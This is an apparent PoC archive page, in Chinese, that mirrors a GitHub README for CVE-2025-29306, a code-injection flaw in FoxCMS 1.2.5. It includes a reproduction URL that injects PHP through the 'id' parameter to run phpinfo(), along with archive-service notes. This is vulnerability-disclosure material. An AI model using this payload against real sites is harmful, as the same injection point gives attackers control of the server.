POC详情： 2d3e9b4119d612bc8933152c8fb2c456575c7d4b

来源
https://github.com/somatrasss/CVE-2025-29306
关联漏洞
标题： FoxCMS 安全漏洞 (CVE-2025-29306)
描述：FoxCMS是中国黔狐（FoxCMS）公司的一套可免费商用开源的内容管理系统。 FoxCMS 1.2.5版本存在安全漏洞，该漏洞源于index.html组件允许执行任意代码。
介绍
# CVE-2025-29306
FOXCMS黔狐内容管理系统服务参数注入漏洞

一、漏洞简介

FoxCMS是一套可免费商用且开源的网站管理系统,采用PHP+MySQL架构。 FOXCMS黔狐内容管理系统存在服务参数注入漏洞，攻击者可利用该漏洞获取服务器控制权。

二、漏洞影响

FOXCMS黔狐内容管理系统 V1.2

三、复现过程

POC http://xx/images/index.html?id=%24{%40print(phpinfo())} 输入Poc访问漏洞页面 发现phpinfo命令执行后的信息

![image](https://github.com/user-attachments/assets/72f85989-ec01-4a24-8d55-961c5d5a1023)
文件快照

 [4.0K]  /data/pocs/2d3e9b4119d612bc8933152c8fb2c456575c7d4b
└── [ 593]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。